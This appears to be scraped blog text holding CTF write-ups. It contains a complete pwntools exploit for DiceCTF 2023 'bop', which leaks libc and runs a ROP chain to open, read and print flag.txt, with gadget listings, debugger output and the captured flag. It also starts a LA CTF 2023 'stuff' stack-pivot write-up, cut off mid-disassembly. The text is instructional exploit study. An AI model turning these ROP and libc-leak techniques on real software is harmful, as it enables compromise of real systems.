0x0000000000401216 in ?? () [ Legend: Modified register | Code | Heap | Stack | String ] \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500 $rax : 0x0 $rbx : 0x1 $rcx : 0x00000000401370 \u2192 endbr64 $rdx : 0x007fffffffe2e8 \u2192 0x007fffffffe58b \u2192 &quot;SHELL=\/bin\/bash&quot; $rsp : 0x007fffffffe1a8 \u2192 0x000000004013bd \u2192 add rbx, 0x1 $rbp : 0x2 $rsi : 0x007fffffffe2d8 \u2192 0x007fffffffe571 \u2192 &quot;\/home\/ctf\/bop\/bop_patched&quot; $rdi : 0x1 $rip : 0x00000000401216 \u2192 endbr64 $r8 : 0x0 $r9 : 0x007ffff7fe0d60 \u2192 endbr64 $r10 : 0x0 $r11 : 0x007ffff7f628c8 \u2192 0x010000000940104d $r12 : 0x1 $r13 : 0x007fffffffe2d8 \u2192 0x007fffffffe571 \u2192 &quot;\/home\/ctf\/bop\/bop_patched&quot; $r14 : 0x007fffffffe2e8 \u2192 0x007fffffffe58b \u2192 &quot;SHELL=\/bin\/bash&quot; $r15 : 0x00000000403df8 \u2192 0x00000000401210 \u2192 endbr64 $eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 stack \u2500\u2500\u2500\u2500 0x007fffffffe1a8\u2502+0x0000: 0x000000004013bd \u2192 add rbx, 0x1\t\u2190 $rsp 0x007fffffffe1b0\u2502+0x0008: 0x007ffff7fa42e8 \u2192 0x0000000000000000 0x007fffffffe1b8\u2502+0x0010: 0x00000000401370 \u2192 endbr64 0x007fffffffe1c0\u2502+0x0018: 0x0000000000000000 0x007fffffffe1c8\u2502+0x0020: 0x00000000401130 \u2192 endbr64 0x007fffffffe1d0\u2502+0x0028: 0x007fffffffe2d0 \u2192 0x0000000000000001 0x007fffffffe1d8\u2502+0x0030: 0x0000000000000000 0x007fffffffe1e0\u2502+0x0038: 0x0000000000000000 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500 0x40120c nop DWORD PTR [rax+0x0] 0x401210 endbr64 0x401214 jmp 0x4011a0 \u25cf\u2192 0x401216 endbr64 0x40121a push rbp 0x40121b mov rbp, rsp 0x40121e sub rsp, 0x10 0x401222 mov edi, 0x0 0x401227 call 0x4010b0 &lt;seccomp_init@plt&gt; \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 threads \u2500\u2500\u2500\u2500 [#0] Id 1, Name: &quot;bop_patched&quot;, stopped 0x401216 in ?? (), reason: BREAKPOINT \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 trace \u2500\u2500\u2500\u2500 [#0] 0x401216 \u2192 endbr64 [#1] 0x4013bd \u2192 add rbx, 0x1 [#2] 0x7ffff7dd7010 \u2192 __libc_start_main() [#3] 0x40115e \u2192 hlt \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 With the seccomp filter, we can&rsquo;t spawn a shell since we can&rsquo;t do execve. However, we can use ROP to open the flag file, read the flag into memory, and print it out.\nBuilding the ROP Chain Here are the gadgets in the binary:\n[ctf@fedora-ctf bop]$ xgadget bop TARGET 0 - &apos;bop&apos;: ELF-X64, 0x00000000401130 entry, 1013\/1 executable bytes\/segments 0x000000004011be: adc [rax], edi; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x00000000401159: adc eax, 0x2e92; hlt; nop; endbr64; ret; 0x0000000040117c: adc edi, [rax]; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x000000004013db: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret; 0x000000004013dc: add [rax], al; add [rax], al; endbr64; ret; 0x000000004011fa: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x000000004011f9: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x000000004013ad: add [rax], al; add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013dd: add [rax], al; add bl, dh; nop edx, edi; ret; 0x000000004013de: add [rax], al; endbr64; ret; 0x000000004013e6: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 0x0000000040115c: add [rax], al; hlt; nop; endbr64; ret; 0x0000000040115b: add [rax], al; hlt; nop; endbr64; ret; 0x000000004013ae: add [rax], al; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401180: add [rax], al; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x000000004011c2: add [rax], al; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x000000004011fc: add [rbp-0x3d], ebx; nop; ret; 0x000000004013af: add [rcx+rcx*4-0xe], cl; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004011fb: add [rcx], al; pop rbp; ret; 0x0000000040115d: add ah, dh; nop; endbr64; ret; 0x0000000040118b: add bh, bh; loopne 0x00000000004011f5; nop; ret; 0x000000004013df: add bl, dh; nop edx, edi; ret; 0x000000004013e7: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401189: add dil, dil; loopne 0x00000000004011f5; nop; ret; 0x000000004011f7: add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret; 0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401017: add esp, 0x8; ret; 0x00000000401016: add rsp, 0x8; ret; 0x000000004013b9: call qword ptr [r15+rbx*8]; 0x00000000401362: call qword ptr [rax+0x2e66c3c9]; 0x000000004012f5: call qword ptr [rax+0xff3c3c9]; 0x0000000040103e: call qword ptr [rax-0x5e1f00d]; 0x000000004013ba: call qword ptr [rdi+rbx*8]; 0x00000000401014: call rax; 0x00000000401163: cli; ret; 0x000000004013eb: cli; sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401160: endbr64; ret; 0x000000004013e8: endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004013bc: fisttp word ptr [rax-0x7d], st; ret; 0x0000000040115e: hlt; nop; endbr64; ret; 0x000000004011f5: inc esi; add eax, 0x2eab; add [rbp-0x3d], ebx; nop; ret; 0x00000000401012: je short 0x0000000000401016; call rax; 0x00000000401185: je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x000000004011c7: je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x0000000040118c: jmp rax; 0x000000004012f7: leave; ret; 0x0000000040118d: loopne 0x00000000004011f5; nop; ret; 0x000000004011f6: mov byte ptr [rip+0x2eab], 0x1; pop rbp; ret; 0x0000000040117d: mov eax, 0x0; test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x000000004011bf: mov eax, 0x0; test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401187: mov edi, 0x404068; jmp rax; 0x000000004013b7: mov edi, esp; call qword ptr [r15+rbx*8]; 0x000000004013b6: mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013b1: mov edx, esi; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013b4: mov esi, ebp; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004013b0: mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013b3: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013b2: mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013d7: nop [rax+rax]; endbr64; ret; 0x000000004013d5: nop [rax+rax]; endbr64; ret; 0x000000004013d8: nop [rax+rax]; endbr64; ret; 0x000000004013a9: nop [rax]; mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x00000000401161: nop edx, edi; ret; 0x000000004013e9: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x0000000040115f: nop; endbr64; ret; 0x000000004012f6: nop; leave; ret; 0x0000000040118f: nop; ret; 0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401186: or [rdi+0x404068], edi; jmp rax; 0x000000004013b8: out 0x41, eax; call qword ptr [rdi+rbx*8]; 0x000000004013b5: out dx, al; mov edi, r12d; call qword ptr [r15+rbx*8]; 0x000000004013cc: pop r12; pop r13; pop r14; pop r15; ret; 0x000000004013ce: pop r13; pop r14; pop r15; ret; 0x000000004013d0: pop r14; pop r15; ret; 0x000000004013d2: pop r15; ret; 0x000000004013cf: pop rbp; pop r14; pop r15; ret; 0x000000004011fd: pop rbp; ret; 0x000000004013d3: pop rdi; ret; 0x000000004013d1: pop rsi; pop r15; ret; 0x000000004013cd: pop rsp; pop r13; pop r14; pop r15; ret; 0x00000000401188: push 0xffffffffff004040; loopne 0x00000000004011f5; nop; ret; 0x0000000040101a: ret; 0x0000000040105b: sar edi, 0xff; call qword ptr [rax-0x5e1f00d]; 0x00000000401184: shl byte ptr [rcx+rcx-0x41], 0x68; add dil, dil; loopne 0x00000000004011f5; nop; ret; 0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x000000004011f8: stosd [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x000000004013ed: sub esp, 0x8; add rsp, 0x8; ret; 0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004013ec: sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004013da: test [rax], al; add [rax], al; add [rax], al; endbr64; ret; 0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax; 0x00000000401183: test eax, eax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x000000004011c5: test eax, eax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401182: test rax, rax; je short 0x0000000000401190; mov edi, 0x404068; jmp rax; 0x000000004011c4: test rax, rax; je short 0x00000000004011d0; mov edi, 0x404068; jmp rax; 0x0000000040118e: xchg ax, ax; ret; CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ] RESULT [ unique_gadgets: 102 | search_time: 3.438523ms | print_time: 4.63807ms ] We have pop rdi and pop rsi, but no syscall, so we&rsquo;ll need to use libc. I leaked libc by calling printf on the GOT and then looped main to read in the next ROP chain:\nfrom pwn import * exe = ELF(&#34;bop_patched&#34;) libc = ELF(&#34;libc.so.6&#34;) ld = ELF(&#34;ld-linux-x86-64.so.2&#34;) context.binary = exe # r = gdb.debug([exe.path]) r = remote(&#34;mc.ax&#34;, 30284) # Found with GEF&#39;s pattern command offset = 40 main = 0x4012f9 rop1 = ROP(exe, badchars=b&#39;\\n&#39;) rop1.raw(rop1.find_gadget([&#34;ret&#34;])) rop1.printf(exe.got.setbuf) rop1.raw(rop1.find_gadget([&#34;ret&#34;])) rop1.raw(main) log.info(rop1.dump()) r.sendlineafter(b&#34;bop? &#34;, rop1.generatePadding(0, offset) + rop1.chain()) leak = int.from_bytes(r.recvuntil(b&#34;Do&#34;, drop=True), &#34;little&#34;) log.info(f&#34;{hex(leak)=}&#34;) libc.address = leak - libc.symbols.setbuf log.info(f&#34;{hex(libc.address)=}&#34;) Next, we have to open the flag file. The Dockerfile indicates that it&rsquo;s named flag.txt, and we need to write that string into memory at a known address so that we can pass it to the open syscall. I looked for gadgets that move a value from a register that we control to the address stored in another register that we control. libc has plenty of gadgets for controlling registers, and I decided to use a mov [rax], rdi gadget at 0x9a0cf to write flag.txt. We also need some writable memory at a known address, and I used the bss segment for that.\n# mov [rax], rdi write_gadget = libc.address + 0x9a0cf rop2 = ROP([libc, exe], badchars=b&#39;\\n&#39;) # Write &#34;flag.txt&#34; to bss rop2(rax=exe.bss(), rdi=b&#34;flag.txt&#34;) rop2.raw(write_gadget) # Write a null terminator rop2(rax=exe.bss() + 8, rdi=0) rop2.raw(write_gadget) # Open the flag file rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0) rop2.raw(rop2.find_gadget([&#34;syscall&#34;, &#34;ret&#34;])) Now we just need to read the flag into memory and write it to stdout. The flag file will have the smallest available file descriptor, which is 3 since 0, 1, and 2 are used for stdin, stdout, and stderror. I used bss as scratch space again.\n# Read up to 100 bytes from fd 3 to bss rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100) rop2.raw(rop2.find_gadget([&#34;syscall&#34;, &#34;ret&#34;])) # Write up to 100 bytes from bss to stdout rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100) rop2.raw(rop2.find_gadget([&#34;syscall&#34;])) Lastly, we send the second payload and receive the flag:\nr.sendlineafter(b&#34;bop? &#34;, rop2.generatePadding(0, offset) + rop2.chain()) r.interactive() Full solve script:\n#!\/usr\/bin\/env python3 from pwn import * exe = ELF(&#34;bop_patched&#34;) libc = ELF(&#34;libc.so.6&#34;) ld = ELF(&#34;ld-linux-x86-64.so.2&#34;) context.binary = exe # r = gdb.debug([exe.path]) r = remote(&#34;mc.ax&#34;, 30284) offset = 40 main = 0x4012f9 rop1 = ROP(exe, badchars=b&#39;\\n&#39;) rop1.raw(rop1.find_gadget([&#34;ret&#34;])) rop1.printf(exe.got.setbuf) rop1.raw(rop1.find_gadget([&#34;ret&#34;])) rop1.raw(main) log.info(rop1.dump()) r.sendlineafter(b&#34;bop? &#34;, rop1.generatePadding(0, offset) + rop1.chain()) leak = int.from_bytes(r.recvuntil(b&#34;Do&#34;, drop=True), &#34;little&#34;) log.info(f&#34;{hex(leak)=}&#34;) libc.address = leak - libc.symbols.setbuf log.info(f&#34;{hex(libc.address)=}&#34;) # mov [rax], rdi write_gadget = libc.address + 0x9a0cf rop2 = ROP([libc, exe], badchars=b&#39;\\n&#39;) rop2(rax=exe.bss(), rdi=b&#34;flag.txt&#34;) rop2.raw(write_gadget) rop2(rax=exe.bss() + 8, rdi=0) rop2.raw(write_gadget) rop2(rax=constants.SYS_open, rdi=exe.bss(), rsi=0) rop2.raw(rop2.find_gadget([&#34;syscall&#34;, &#34;ret&#34;])) rop2(rax=constants.SYS_read, rdi=3, rsi=exe.bss(), rdx=100) rop2.raw(rop2.find_gadget([&#34;syscall&#34;, &#34;ret&#34;])) rop2(rax=constants.SYS_write, rdi=constants.STDOUT_FILENO, rsi=exe.bss(), rdx=100) rop2.raw(rop2.find_gadget([&#34;syscall&#34;])) log.info(rop2.dump()) r.sendlineafter(b&#34;bop? &#34;, rop2.generatePadding(0, offset) + rop2.chain()) r.interactive() Output:\n[ctf@fedora-ctf bop]$ .\/solve.py [*] &apos;\/home\/ctf\/bop\/bop_patched&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x3ff000) RUNPATH: b&apos;.&apos; [*] &apos;\/home\/ctf\/bop\/libc-2.31.so&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] &apos;\/home\/ctf\/bop\/ld-2.31.so&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to mc.ax on port 30284: Done [*] Loaded 14 cached gadgets for &apos;.\/bop_patched&apos; [*] 0x0000: 0x40101a ret 0x0008: 0x4013d3 pop rdi; ret 0x0010: 0x404030 [arg0] rdi = got.setbuf 0x0018: 0x4010f4 printf 0x0020: 0x40101a ret 0x0028: 0x4012f9 [*] hex(leak)=&apos;0x7feffe3f5ad0&apos; [*] hex(libc.address)=&apos;0x7feffe36a000&apos; [*] Loaded 196 cached gadgets for &apos;.\/libc-2.31.so&apos; [*] 0x0000: 0x7feffe3a0174 pop rax; ret 0x0008: 0x404080 stdout 0x0010: 0x7feffe38db6a pop rdi; ret 0x0018: b&apos;flag.txt&apos; b&apos;flag.txt&apos; 0x0020: 0x7feffe4040cf 0x0028: 0x7feffe3a0174 pop rax; ret 0x0030: 0x404088 0x0038: 0x7feffe38db6a pop rdi; ret 0x0040: 0x0 0x0048: 0x7feffe4040cf 0x0050: 0x7feffe3a0174 pop rax; ret 0x0058: 0x2 SYS_open 0x0060: 0x7feffe39001f pop rsi; ret 0x0068: 0x0 0x0070: 0x7feffe38db6a pop rdi; ret 0x0078: 0x404080 stdout 0x0080: 0x7feffe3cd0a9 syscall; ret 0x0088: 0x7feffe4acc92 pop rdx; ret 0x0090: 0x64 0x0098: 0x7feffe3a0174 pop rax; ret 0x00a0: 0x0 SYS_read 0x00a8: 0x7feffe39001f pop rsi; ret 0x00b0: 0x404080 stdout 0x00b8: 0x7feffe38db6a pop rdi; ret 0x00c0: 0x3 0x00c8: 0x7feffe3cd0a9 syscall; ret 0x00d0: 0x7feffe4acc92 pop rdx; ret 0x00d8: 0x64 0x00e0: 0x7feffe3a0174 pop rax; ret 0x00e8: 0x1 SYS_write 0x00f0: 0x7feffe39001f pop rsi; ret 0x00f8: 0x404080 stdout 0x0100: 0x7feffe38db6a pop rdi; ret 0x0108: 0x1 STDOUT_FILENO 0x0110: 0x7feffe38c84d syscall [*] Switching to interactive mode dice{ba_da_ba_da_ba_be_bop_bop_bodda_bope_f8a01d8ec4e2} \\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00[*] Got EOF while reading in interactive ","permalink":"https:\/\/www.alexyzhang.dev\/write-ups\/dicectf-2023\/bop\/","summary":"Reading and printing the flag with a ROP chain","title":"DiceCTF 2023 \u2013 pwn\/bop"},{"content":"Introduction stuff is one of the three pwn challenges that I wrote for LA CTF this year, and it was the hardest non-blockchain pwn challenge with seven solves. I wrote the challenge without having a specific solution in mind other than stack pivoting to the libc input buffer. The challenge turned out to be much harder than I expected, and it took me several days to test solve it. The source is available at https:\/\/github.com\/uclaacm\/lactf-archive\/tree\/main\/2023\/pwn\/stuff.\nThe Challenge The flavor text reads:\nJason keeps bullying me for using Fedora so here&rsquo;s a binary compiled on Fedora.\nA binary is provided which should be pretty easy to reverse-engineer. Here&rsquo;s the source code:\n#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int main(void) { setbuf(stdout, NULL); while (1) { puts(&#34;menu:&#34;); puts(&#34;1. leak&#34;); puts(&#34;2. do stuff&#34;); int choice; if (scanf(&#34;%d&#34;, &amp;choice) != 1) { puts(&#34;oops&#34;); return 1; } if (choice == 1) { printf(&#34;here&#39;s your leak: %p\\n&#34;, malloc(8)); } else if (choice == 2) { char buffer[12]; fread(buffer, 1, 32, stdin); return 0; } } } A Dockerfile is also provided which shows that the server is running a container based on a Fedora image.\nStack Pivoting The program leaks the address of a chunk allocated in the heap, and it does a 32-byte read into a 12-byte buffer. If you looked at the stack layout, you would see that the read is just enough to overwrite the return address. In order to do ROP with more than one gadget, we can use a leave; ret gadget to stack pivot to the libc stdin buffer in the heap. The address of the buffer can be calculated from the leak.\nLeaking libc checksec shows that the binary has no PIE, so we can use any gadgets in it without a leak.\n$ checksec stuff [*] &apos;\/home\/ctf\/lactf-archive\/2023\/pwn\/stuff\/stuff&apos; Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Let&rsquo;s look at the available gadgets.\n$ xgadget stuff TARGET 0 - &apos;stuff&apos;: ELF-X64, 0x00000000401090 entry, 581\/1 executable bytes\/segments 0x0000000040111e: adc [rax], edi; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x000000004010b0: adc eax, 0x2f3b; hlt; nop [rax+rax]; endbr64; ret; 0x000000004010dc: adc edi, [rax]; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x0000000040100e: add [rax-0x7b], cl; shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x000000004010bb: add [rax], al; add [rax], al; add bl, dh; nop edx, edi; ret; 0x000000004010bc: add [rax], al; add [rax], al; endbr64; ret; 0x00000000401230: add [rax], al; add [rax], al; leave; ret; 0x0000000040115a: add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x000000004010bd: add [rax], al; add bl, dh; nop edx, edi; ret; 0x00000000401231: add [rax], al; add cl, cl; ret; 0x000000004010be: add [rax], al; endbr64; ret; 0x00000000401236: add [rax], al; endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004010b3: add [rax], al; hlt; nop [rax+rax]; endbr64; ret; 0x00000000401232: add [rax], al; leave; ret; 0x0000000040100d: add [rax], al; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010e0: add [rax], al; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x00000000401122: add [rax], al; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x0000000040115c: add [rbp-0x3d], ebx; nop; ret; 0x0000000040115b: add [rcx], al; pop rbp; ret; 0x000000004010b4: add ah, dh; nop [rax+rax]; endbr64; ret; 0x000000004010eb: add bh, bh; loopne 0x0000000000401155; nop; ret; 0x000000004010bf: add bl, dh; nop edx, edi; ret; 0x00000000401237: add bl, dh; nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401233: add cl, cl; ret; 0x000000004010e9: add dil, dil; loopne 0x0000000000401155; nop; ret; 0x00000000401157: add eax, 0x2f0b; add [rbp-0x3d], ebx; nop; ret; 0x0000000040100a: add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 0x00000000401017: add esp, 0x8; ret; 0x00000000401016: add rsp, 0x8; ret; 0x00000000401014: call rax; 0x000000004010c3: cli; ret; 0x0000000040123b: cli; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004010c0: endbr64; ret; 0x00000000401238: endbr64; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004010b5: hlt; nop [rax+rax]; endbr64; ret; 0x00000000401155: inc esi; add eax, 0x2f0b; add [rbp-0x3d], ebx; nop; ret; 0x00000000401012: je short 0x0000000000401016; call rax; 0x000000004010e5: je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x00000000401127: je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x000000004010ec: jmp rax; 0x00000000401234: leave; ret; 0x000000004010ed: loopne 0x0000000000401155; nop; ret; 0x00000000401156: mov byte ptr [rip+0x2f0b], 0x1; pop rbp; ret; 0x0000000040122f: mov eax, 0x0; leave; ret; 0x000000004010dd: mov eax, 0x0; test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x0000000040111f: mov eax, 0x0; test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x00000000401009: mov eax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010e7: mov edi, 0x404050; jmp rax; 0x00000000401008: mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010b7: nop [rax+rax]; endbr64; ret; 0x000000004010b6: nop [rax+rax]; endbr64; ret; 0x000000004010b8: nop [rax+rax]; endbr64; ret; 0x000000004010c1: nop edx, edi; ret; 0x00000000401239: nop edx, edi; sub rsp, 0x8; add rsp, 0x8; ret; 0x000000004010ef: nop; ret; 0x00000000401007: or [rax-0x75], cl; add eax, 0x2fe9; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010e6: or [rdi+0x404050], edi; jmp rax; 0x00000000401158: or ebp, [rdi]; add [rax], al; add [rbp-0x3d], ebx; nop; ret; 0x0000000040115d: pop rbp; ret; 0x000000004010e8: push rax; add dil, dil; loopne 0x0000000000401155; nop; ret; 0x00000000401181: ret far; 0x0000000040101a: ret; 0x000000004010e4: shl byte ptr [rcx+rcx-0x41], 0x50; add dil, dil; loopne 0x0000000000401155; nop; ret; 0x00000000401011: shl byte ptr [rdx+rax-0x1], 0xd0; add rsp, 0x8; ret; 0x0000000040123d: sub esp, 0x8; add rsp, 0x8; ret; 0x00000000401005: sub esp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x0000000040123c: sub rsp, 0x8; add rsp, 0x8; ret; 0x00000000401004: sub rsp, 0x8; mov rax, [rip+0x2fe9]; test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010ba: test [rax], al; add [rax], al; add [rax], al; endbr64; ret; 0x00000000401010: test eax, eax; je short 0x0000000000401016; call rax; 0x000000004010e3: test eax, eax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x00000000401125: test eax, eax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x0000000040100f: test rax, rax; je short 0x0000000000401016; call rax; 0x000000004010e2: test rax, rax; je short 0x00000000004010f0; mov edi, 0x404050; jmp rax; 0x00000000401124: test rax, rax; je short 0x0000000000401130; mov edi, 0x404050; jmp rax; 0x000000004010ee: xchg ax, ax; ret; CONFIG [ search: ROP-JOP-SYS (default) | x_match: none | max_len: 5 | syntax: Intel | regex_filter: none ] RESULT [ unique_gadgets: 76 | search_time: 8.448812ms | print_time: 9.371521ms ] You can see that there&rsquo;s not a lot to work with. We don&rsquo;t have easy control over any register other than rbp. As the flavor text stated, this binary was compiled on Fedora, unlike the other pwn challenges in this CTF which were compiled on Debian. Fedora has a newer version of GCC, which apparently generates less ROP gadgets. Aplet123 pointed out that this fragment at the end of the main function is a powerful gadget:\n0x000000000040120f &lt;+153&gt;: mov rdx,QWORD PTR [rip+0x2e4a] # 0x404060 &lt;stdin@GLIBC_2.2.5&gt; 0x0000000000401216 &lt;+160&gt;: lea rax,[rbp-0x10] 0x000000000040121a &lt;+164&gt;: mov rcx,rdx 0x000000000040121d &lt;+167&gt;: mov edx,0x20 0x0000000000401222 &lt;+172&gt;: mov esi,0x1 0x0000000000401227 &lt;+177&gt;: mov rdi,rax 0x000000000040122a &lt;+180&gt;: call 0x401070 &lt;fread@plt&gt; 0x000000000040122f &lt;+185&gt;: mov eax,0x0 0x0000000000401234 &lt;+190&gt;: leave 0x0000000000401235 